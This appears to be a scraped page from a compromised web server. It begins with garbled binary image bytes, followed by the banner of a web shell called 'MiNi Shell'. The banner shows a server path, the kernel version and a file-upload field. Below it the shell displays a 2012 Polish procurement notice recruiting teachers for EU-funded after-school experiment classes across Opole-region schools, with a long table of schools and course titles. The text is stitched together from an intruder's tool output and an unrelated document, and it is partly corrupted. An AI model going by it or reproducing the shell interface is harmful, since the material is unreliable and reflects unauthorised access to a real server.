JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120220/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120220/50784-N-2012.html

<p class="kh_header"><b>Opole: Pełnienie funkcji nauczyciela prowadzącego zajęcia dodatkowe dla uczniów w ramach projektu pod nazwą Edukacja ku przyszłości - Zaczarowany Świat, współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego w ramach Programu Operacyjnego Kapitał Ludzki</b><br>
<b>Numer ogłoszenia: 50784 - 2012; data zamieszczenia: 20.02.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Wojewódzki Ośrodek Doskonalenia Informatycznego i Politechnicznego , ul. Głogowska 27, 45-315 Opole, woj. opolskie, tel. 077 4552979, faks 077 4552979 wew. 30.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www2.wodip.opole.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Pełnienie funkcji nauczyciela prowadzącego zajęcia dodatkowe dla uczniów w ramach projektu pod nazwą Edukacja ku przyszłości - Zaczarowany Świat, współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego w ramach Programu Operacyjnego Kapitał Ludzki.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1 Przedmiotem zamówienia jest usługa polegająca na pełnieniu funkcji nauczyciela prowadzącego zajęcia dodatkowe dla uczniów w ramach projektu pod nazwą: Edukacja ku przyszłości - Zaczarowany Świat, współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego w ramach Programu Operacyjnego Kapitał Ludzki.
2 Nauczyciel prowadzący zajęcia dodatkowe dla uczniów będzie odpowiadał za przygotowanie scenariusza oraz realizację i dokumentację zajęć dodatkowych dla uczniów, w postaci projektu przedmiotowego lub między przedmiotowego, ukierunkowanego na rozwój kompetencji kluczowych mających na celu zwiększenie zainteresowania uczniów nauką przez pobudzanie do poznawczego sposobu zdobywania wiedzy, wykorzystując eksperymentalne metody nauczania oparte na przygotowanych zestawach doświadczalnych oraz pracowniach eksperymentalno doświadczalnych. Zajęcia mają być realizowane aktywnymi metodami nauczania z wykorzystaniem eksperymentów i doświadczeń prowadzących do poznawczego sposobu poznawania wiedzy.
3 Szczegółowe obowiązki opiekuna zajęć pozalekcyjnych (nauczyciela):
a) rekrutacja uczniów do udziału w projekcie ,
b) udział w 16h szkoleniu metodycznym przygotowującym do prowadzenia zajęć,
c) opracowanie scenariusza 12h zajęć pozalekcyjnych z wykorzystaniem eksperymentów,
d) przeprowadzenie 12h zajęć pozalekcyjnych wg opracowanego scenariusza,
e) dokumentowanie prowadzonych zajęć pozalekcyjnych ,
f) przygotowanie opracowania eksperymentu wykonanego z uczniami,
g) udział wraz z uczniami w Festiwalu Nauki w Opolu,
h) współprzygotowanie planu upowszechniania zastosowania eksperymentu w szkole,
i) współorganizowanie szkolnego festiwalu eksperymentów,
j) udział w szkoleniu certyfikującym (24h + 16h elearning),
k) opieka na uczniami w czasie wyjazdu na zajęcia w pracowniach eksperymentalnych
l) udział w konferencjach promujących eksperyment w edukacji,
m) przygotowanie sprawozdania z przeprowadzonych działań w szkole .
Poniżej podział postępowania na części w zależności od miejsca wykonywania usługi (adres szkoły) oraz rodzaju zajęć pozalekcyjnych:
numer części 	Miejsce wykonywania usługi	Rodzaj zajęć pozalekcyjnych
1	Publiczna Szkoła Podstawowa	Baborów	ul. Wiejska 5a	48-120 Baborów	Wirujące liczby
2	Publiczna Szkoła Podstawowa	Baborów	ul. Wiejska 5a	48-120 Baborów	Szalony artysta
3	Publiczna Szkoła Podstawowa	Baborów	ul. Wiejska 5a	48-120 Baborów	Owocowy świat
4	Publiczne Gimnazjum	Baborów	ul. Wiejska 5a	48-120 Baborów	Matematyka w przestrzeni
5	Publiczne Gimnazjum	Baborów	ul. Wiejska 5a	48-120 Baborów	Oddziaływania elektrostatyczne
6	Publiczne Gimnazjum	Baborów	ul. Wiejska 5a	48-120 Baborów	Badania wody
7	Szkoła Podstawowa im. Stanisława Moniuszki	Bąkowice	Szkolna 6	46-112 Bąkowice	Wirujący wszechświat
8	Szkoła Podstawowa im. Stanisława Moniuszki	Bąkowice	Szkolna 6	46-112 Bąkowice	W świecie barw
9	Szkoła Podstawowa im. Stanisława Moniuszki	Bąkowice	Szkolna 6	46-112 Bąkowice	Świat wokół nas
10	Publiczne Gimnazjum Nr 1 im. Noblistów Polskich	Bierawa	Kościelna 1	47-240 Bierawa	Czy fizyka może bawić i być ciekawa?
11	Publiczne Gimnazjum Nr 1 im. Noblistów Polskich	Bierawa	Kościelna 1	47-240 Bierawa	Geografia wokół nas
12	Publiczne Gimnazjum Nr 1 im. Noblistów Polskich	Bierawa	Kościelna 1	47-240 Bierawa	Zabawy matematyką
13	Szkoła Podstawowa im. Marii Konopnickiej przy Zespole Szkół	Bogdanowice	Konopnickiej 15	48-100 Głubczyce	Ekoludek odkrywa świat
14	Szkoła Podstawowa im. Marii Konopnickiej przy Zespole Szkół	Bogdanowice	Konopnickiej 15	48-100 Głubczyce	Zaczarowny świat matematyki
15	Szkoła Podstawowa im. Marii Konopnickiej przy Zespole Szkół	Bogdanowice	Konopnickiej 15	48-100 Głubczyce	Klub małych odkrywców
16	Publiczna Szkoła Podstawowa Nr 6	Brzeg	Poprzeczna 16	49-300 Brzeg	Środowisko
17	Publiczna Szkoła Podstawowa Nr 6	Brzeg	Poprzeczna 16	49-300 Brzeg	Doświadczenia przyrodnicze
18	Publiczna Szkoła Podstawowa Nr 6	Brzeg	Poprzeczna 16	49-300 Brzeg	Zabawy matematyczne
19	Publiczna Szkoła Podstawowa Nr 8	Brzeg	Lompy 1	49-300 Brzeg	Woda - niezwykła ciecz
20	Publiczna Szkoła Podstawowa Nr 8	Brzeg	Lompy 1	49-300 Brzeg	Ziemia - nasza planeta
21	Publiczna Szkoła Podstawowa Nr 8	Brzeg	Lompy 1	49-300 Brzeg	Środowisko i jego ochrona
22	Publiczne Gimnazjum im. Jadwigi Śląskiej	Chocianowice	Chocianowice 78	46-280 Lasowice Małe	Przedsiębiorczy gimnazjalista
23	Publiczne Gimnazjum im. Jadwigi Śląskiej	Chocianowice	Chocianowice 78	46-280 Lasowice Małe	Przez chemię do chemii
24	Publiczne Gimnazjum im. Jadwigi Śląskiej	Chocianowice	Chocianowice 78	46-280 Lasowice Małe	Internetowy globus
25	Szkoła Podstawowa	Chocianowice	Chocianowice 78	46-280 Lasowice Małe	Przez trudy do gwiazd
26	Szkoła Podstawowa	Chocianowice	Chocianowice 78	46-280 Lasowice Małe	Wodne eksperymenty po angielsku
27	Szkoła Podstawowa	Chocianowice	Chocianowice 78	46-280 Lasowice Małe	Magia słów
28	Publiczna Szkoła Podstawowa	Chróścina	Niemodlińska 8d	46-073 Chróścina	Tajemnice wody
29	Publiczna Szkoła Podstawowa	Chróścina	Niemodlińska 8d	46-073 Chróścina	Tajemnice powietrza
30	Publiczna Szkoła Podstawowa	Chróścina	Niemodlińska 8d	46-073 Chróścina	Tajemnice światła
31	Szkoła Podstawowa	Dobra	Szkolna 37	47-364 Strzeleczki	A wszystko zaczęło się od...
32	Szkoła Podstawowa	Dobra	Szkolna 37	47-364 Strzeleczki	Matematyka w innym wymiarze
33	Szkoła Podstawowa	Dobra	Szkolna 37	47-364 Strzeleczki	Magiczny świat wokół nas
34	Niepubliczna Szkoła Podstawowa	Dytmarów	Dytmarów 1	48-231 Lubrza	Bliżej natury - zjawiska przyrodnicze
35	Niepubliczna Szkoła Podstawowa	Dytmarów	Dytmarów 1	48-231 Lubrza	Zmierz się z objętością
36	Niepubliczna Szkoła Podstawowa	Dytmarów	Dytmarów 1	48-231 Lubrza	Odkrywamy świat
37	Szkoła Podstawowa	Gałązczyce	Gałązczyce 78	49-200 Grodków	Moja Mała Ojczyzna
38	Szkoła Podstawowa	Gałązczyce	Gałązczyce 78	49-200 Grodków	Świat kolorem malowany
39	Szkoła Podstawowa	Gałązczyce	Gałązczyce 78	49-200 Grodków	Świat w rozmiarze Mikro
40	I Liceum Ogólnokształcące im. Adama Mickiewicza	Głubczyce	Kochanowskiego 22	48-100 Głubczyce	Chemia życia 
41	I Liceum Ogólnokształcące im. Adama Mickiewicza	Głubczyce	Kochanowskiego 22	48-100 Głubczyce	W królestwie elektryczności i magnetyzmu
42	I Liceum Ogólnokształcące im. Adama Mickiewicza	Głubczyce	Kochanowskiego 22	48-100 Głubczyce	Gdzie woda tam życie
43	Publiczna Szkoła Podstawowa im. Gustawa Morcinka	Gnojna	Gnojna 119	49-200 Grodków	Eksperymentujemy z wodą
44	Publiczna Szkoła Podstawowa im. Gustawa Morcinka	Gnojna	Gnojna 119	49-200 Grodków	Matematyka i jej tajemnice
45	Publiczna Szkoła Podstawowa im. Gustawa Morcinka	Gnojna	Gnojna 119	49-200 Grodków	Magiczny świat chemii
46	Publiczna Szkoła Podstawowa Nr 2	Gogolin	Strzelecka 39	47-320 Gogolin	Tajemnice przyrody
47	Publiczna Szkoła Podstawowa Nr 2	Gogolin	Strzelecka 39	47-320 Gogolin	Matematyka równa się dobra zabawa
48	Publiczna Szkoła Podstawowa Nr 2	Gogolin	Strzelecka 39	47-320 Gogolin	Zagadkowa przyroda
49	Gimnazjum Publiczne Nr 2	Grodków	Mickiewicza 10	49-200 Grodków	Fizyka w domu i w szkole
50	Gimnazjum Publiczne Nr 2	Grodków	Mickiewicza 10	49-200 Grodków	Magiczny świat fizyki
51	Gimnazjum Publiczne Nr 2	Grodków	Mickiewicza 10	49-200 Grodków	Eksperymenty w matematyce
52	Publiczna Szkoła Podstawowa Nr 3	Grodków	Morcinka 2	49-200 Grodków	Tajemnicze eksperymenty z dźwiękiem
53	Publiczna Szkoła Podstawowa Nr 3	Grodków	Morcinka 2	49-200 Grodków	Kolorowe doświadczenia przyrodnicze
54	Publiczna Szkoła Podstawowa Nr 3	Grodków	Morcinka 2	49-200 Grodków	Odlotowe doświadczenia z powietrzem
55	Szkoła Podstawowa	Gronowice	Gronowice 58	46-280 Lasowice Małe	Matematyczne ABC
56	Szkoła Podstawowa	Gronowice	Gronowice 58	46-280 Lasowice Małe	Niemiecki e-learning
57	Szkoła Podstawowa	Gronowice	Gronowice 58	46-280 Lasowice Małe	Przygody kropli czystej wody
58	Publiczna Szkoła Podstawowa im. Bolesława Chrobrego	Jarnołtów	Jarnołtów 88	48-385 Otmuchów	Woda - magiczna substancja
59	Publiczna Szkoła Podstawowa im. Bolesława Chrobrego	Jarnołtów	Jarnołtów 88	48-385 Otmuchów	Tajemnice papieru
60	Publiczna Szkoła Podstawowa im. Bolesława Chrobrego	Jarnołtów	Jarnołtów 88	48-385 Otmuchów	Magiczne ciecze
61	Publiczne Gimnazjum	Jarnołtów	Jarnołtów 88	48-385 Otmuchów	Światło i barwa
62	Publiczne Gimnazjum	Jarnołtów	Jarnołtów 88	48-385 Otmuchów	Wszechobecne gazy
63	Publiczne Gimnazjum	Jarnołtów	Jarnołtów 88	48-385 Otmuchów	Ciepło - zimno
64	Szkoła Podstawowa	Jasienie	Zwycięstwa 15	46-280 Lasowice Małe	Powietrze
65	Szkoła Podstawowa	Jasienie	Zwycięstwa 15	46-280 Lasowice Małe	Zagadki wody
66	Szkoła Podstawowa	Jasienie	Zwycięstwa 15	46-280 Lasowice Małe	Kuchenne eksperymenty
67	Publiczna Szkoła Podstawowa	Kadłub	Powstańców Śląskich 35	47-175 Kadłub	Ciekawi świata
68	Publiczna Szkoła Podstawowa	Kadłub	Powstańców Śląskich 35	47-175 Kadłub	Mali odkrywcy
69	Publiczna Szkoła Podstawowa	Kadłub	Powstańców Śląskich 35	47-175 Kadłub	Cztery żywioły
70	Szkoła Podstawowa w Zespole Szkół Ogólnokształcących	Kamiennik	1 Maja 28	48-388 Kamiennik	Ptaki wokół nas
71	Szkoła Podstawowa w Zespole Szkół Ogólnokształcących	Kamiennik	1 Maja 28	48-388 Kamiennik	Budowa materii
72	Szkoła Podstawowa w Zespole Szkół Ogólnokształcących	Kamiennik	1 Maja 28	48-388 Kamiennik	Ciekawa matematyka
73	Gimnazjum w Zespole Szkół Ogólnokształcących	Kamiennik	1 Maja 28	48-388 Kamiennik	O zmysłach
74	Gimnazjum w Zespole Szkół Ogólnokształcących	Kamiennik	1 Maja 28	48-388 Kamiennik	Prąd elektryczny - nie taki diabeł straszny
75	Gimnazjum w Zespole Szkół Ogólnokształcących	Kamiennik	1 Maja 28	48-388 Kamiennik	Doświadczenia z papierem
76	II Liceum Ogólnokształcące im Mikołaja Kopernika	Kędzierzyn-Koźle	Matejki 19	47-220 Kędzierzyn-Koźle	Tajemniczy świat enzymów
77	II Liceum Ogólnokształcące im Mikołaja Kopernika	Kędzierzyn-Koźle	Matejki 19	47-220 Kędzierzyn-Koźle	Kinematyka reakcji enzymatycznych
78	II Liceum Ogólnokształcące im Mikołaja Kopernika	Kędzierzyn-Koźle	Matejki 19	47-220 Kędzierzyn-Koźle	Termodynamika procesów chemicznych
79	Publiczna Szkoła Podstawowa Nr 16	Kędzierzyn-Koźle	Sławięcicka 96	47-230 Kędzierzyn-Koźle	Doświadczenia z wodą
80	Publiczna Szkoła Podstawowa Nr 16	Kędzierzyn-Koźle	Sławięcicka 96	47-230 Kędzierzyn-Koźle	W świecie dźwięku
81	Publiczna Szkoła Podstawowa Nr 16	Kędzierzyn-Koźle	Sławięcicka 96	47-230 Kędzierzyn-Koźle	Chemia wokół nas
82	Publiczna Szkoła Podstawowa Nr 18 przy Zespole Szkolno-Przedszkolnym nr 1	Kędzierzyn-Koźle	Brzechwy 80	47-230 Kędzierzyn-Koźle	Woda i Tlen - bez nich nie byłoby życia
83	Publiczna Szkoła Podstawowa Nr 18 przy Zespole Szkolno-Przedszkolnym nr 1	Kędzierzyn-Koźle	Brzechwy 80	47-230 Kędzierzyn-Koźle	Bez roślin nie ma życia
84	Publiczna Szkoła Podstawowa Nr 18 przy Zespole Szkolno-Przedszkolnym nr 1	Kędzierzyn-Koźle	Brzechwy 80	47-230 Kędzierzyn-Koźle	Farbami czarujemy świat
85	Publiczna Szkoła Podstawowa Nr 19 w Zespole Szkół Miejskich nr 1	Kędzierzyn-Koźle	Mieszka I 4	47-232 Kędzierzyn-Koźle	Odkrywamy tajemnice przyrody
86	Publiczna Szkoła Podstawowa Nr 19 w Zespole Szkół Miejskich nr 1	Kędzierzyn-Koźle	Mieszka I 4	47-232 Kędzierzyn-Koźle	Ciekawi świata
87	Publiczna Szkoła Podstawowa Nr 19 w Zespole Szkół Miejskich nr 1	Kędzierzyn-Koźle	Mieszka I 4	47-232 Kędzierzyn-Koźle	Radość odkrywania
88	Publiczne Gimnazjum Nr 5 w Zespole Szkół Miejskich nr 1	Kędzierzyn-Koźle	Mieszka I 4	47-232 Kędzierzyn-Koźle	Kolorowy świat chemii
89	Publiczne Gimnazjum Nr 5 w Zespole Szkół Miejskich nr 1	Kędzierzyn-Koźle	Mieszka I 4	47-232 Kędzierzyn-Koźle	Przemiany materii i energii w organizmach
90	Publiczne Gimnazjum Nr 5 w Zespole Szkół Miejskich nr 1	Kędzierzyn-Koźle	Mieszka I 4	47-232 Kędzierzyn-Koźle	Energia i my
91	Publiczne Gimnazjum Nr 1	Kluczbork	Mickiewicza 10	46-200 Kluczbork	Budowa i właściwości materii
92	Publiczne Gimnazjum Nr 1	Kluczbork	Mickiewicza 10	46-200 Kluczbork	Eksperymenty chemiczne z ciałem stałym i roztworem wodnym
93	Publiczne Gimnazjum Nr 1	Kluczbork	Mickiewicza 10	46-200 Kluczbork	Eksperymenty na liczbach i cyfrach
94	Szkoła Podstawowa	Komorniki	Szkolna 4	47-364 Strzeleczki	Poznajemy  przyrodę
95	Szkoła Podstawowa	Komorniki	Szkolna 4	47-364 Strzeleczki	Obserwujemy, eksperymentujemy - świat poznajemy
96	Szkoła Podstawowa	Komorniki	Szkolna 4	47-364 Strzeleczki	Mali Einsteini
97	Publiczna Szkoła Podstawowa im.Ks Jana Twardowskiego	Komprachcice	Szkolna 18	46-070 Komprachcice	Ciekawa fizyka
98	Publiczna Szkoła Podstawowa im.Ks Jana Twardowskiego	Komprachcice	Szkolna 18	46-070 Komprachcice	Zagadkowe płyny
99	Publiczna Szkoła Podstawowa im.Ks Jana Twardowskiego	Komprachcice	Szkolna 18	46-070 Komprachcice	Przyroda od kuchni
100	Publiczna Szkoła Podstawowa	Kowale	Szkolna 1	46-320 Praszka	Przez eksperyment poznaję świat
101	Publiczna Szkoła Podstawowa	Kowale	Szkolna 1	46-320 Praszka	Zrób to sam - eksperyment kluczem do sukcesu w szkole
102	Publiczna Szkoła Podstawowa	Kowale	Szkolna 1	46-320 Praszka	Przygoda z eksperymentowaniem w języku angielskim - Zrobiłem, zrozumiałem, zapamiętałem
103	Liceum Ogólnokształcące przy Zespole Szkół im. Jana Kilińskiego	Krapkowice	Ks. Pr. Duszy 7	47-303 Krapkowice	Jak działa nasz świat?
104	Liceum Ogólnokształcące przy Zespole Szkół im. Jana Kilińskiego	Krapkowice	Ks. Pr. Duszy 7	47-303 Krapkowice	Chemia organiczna w gospodarstwie domowym
105	Liceum Ogólnokształcące przy Zespole Szkół im. Jana Kilińskiego	Krapkowice	Ks. Pr. Duszy 7	47-303 Krapkowice	Związki nieorganiczne w życiu codziennym
106	Publiczne Gimnazjum im. Św. Franciszka z Asyżu	Leśnica	Nad Wodą 15	47-150 Leśnica	Warzywa w eksperymentach biologicznych
107	Publiczne Gimnazjum im. Św. Franciszka z Asyżu	Leśnica	Nad Wodą 15	47-150 Leśnica	Światło widzialne i niewidzialne
108	Publiczne Gimnazjum im. Św. Franciszka z Asyżu	Leśnica	Nad Wodą 15	47-150 Leśnica	Środowisko geologiczne Parku Krajobrazowego Góra Św. Anny
109	Szkoła Podstawowa w Zespole Szkolno-Przedszkolnym	Lipowa	Lipowa 83	48-321 Niwnica	Eksperymentujemy z wodą
110	Szkoła Podstawowa w Zespole Szkolno-Przedszkolnym	Lipowa	Lipowa 83	48-321 Niwnica	Łąka i jej mieszkańcy pod lupą
111	Szkoła Podstawowa w Zespole Szkolno-Przedszkolnym	Lipowa	Lipowa 83	48-321 Niwnica	Świat pod mikroskopem
112	Gimnazjum przy Zespole Szkół im. Weteranów II Wojny Światowej	Lisięcice	Szkolna 5	48-118 Lisięcice	Ciśnienie wokół nas
113	Gimnazjum przy Zespole Szkół im. Weteranów II Wojny Światowej	Lisięcice	Szkolna 5	48-118 Lisięcice	Chemia może być ciekawa
114	Gimnazjum przy Zespole Szkół im. Weteranów II Wojny Światowej	Lisięcice	Szkolna 5	48-118 Lisięcice	Żywioły przyrodnicze
115	Szkoła Podstawowa przy Zespole Szkół im. Weteranów II Wojny Światowej	Lisięcice	Szkolna 5	48-118 Lisięcice	Naturalne źródła energii elektrycznej
116	Szkoła Podstawowa przy Zespole Szkół im. Weteranów II Wojny Światowej	Lisięcice	Szkolna 5	48-118 Lisięcice	Niewidzialne siły w przyrodzie
117	Szkoła Podstawowa przy Zespole Szkół im. Weteranów II Wojny Światowej	Lisięcice	Szkolna 5	48-118 Lisięcice	Jakie tajemnice kryje woda?
118	Szkoła Podstawowa	Lubrza	Szkolna 22	48-231 Lubrza	Woda w roli głównej
119	Szkoła Podstawowa	Lubrza	Szkolna 22	48-231 Lubrza	Moja kuchnia - moje labolatorium
120	Szkoła Podstawowa	Lubrza	Szkolna 22	48-231 Lubrza	Zabawy z powietrzem
121	Gimnazjum w Zespole Szkół w Łambinowicach	Łambinowice	Szkolna 2	48-316 Łambinowice	Fascynujące życie organizmów
122	Gimnazjum w Zespole Szkół w Łambinowicach	Łambinowice	Szkolna 2	48-316 Łambinowice	Fascynujące substancje
123	Gimnazjum w Zespole Szkół w Łambinowicach	Łambinowice	Szkolna 2	48-316 Łambinowice	Kolorowa bajka
124	Publiczna Szkoła Podstawowa	Łubniany	Opolska 51	46-024 Łubniany	Mali odkrywcy
125	Publiczna Szkoła Podstawowa	Łubniany	Opolska 51	46-024 Łubniany	Przygoda z przyrodą
126	Publiczna Szkoła Podstawowa	Łubniany	Opolska 51	46-024 Łubniany	Poszukiwacze zaginionej nutki
127	Publiczna Szkoła Podstawowa	Narok	Szkolna 19	49-120 Dąbrowa	Eksperymentujemy z wodą
128	Publiczna Szkoła Podstawowa	Narok	Szkolna 19	49-120 Dąbrowa	Doświadczenia przyrodnicze
129	Publiczna Szkoła Podstawowa	Narok	Szkolna 19	49-120 Dąbrowa	Doświadczenia chemiczne i eksperymenty w kuchni
130	Publiczna Szkoła Podstawowa w Zespole Szkolno-Przedszkolnym	Nowa Cerekwia	Rogożańska 4	48-133 Nowa Cerekwia	Woda
131	Publiczna Szkoła Podstawowa w Zespole Szkolno-Przedszkolnym	Nowa Cerekwia	Rogożańska 4	48-133 Nowa Cerekwia	Policzyć niepoliczalne i niezliczone
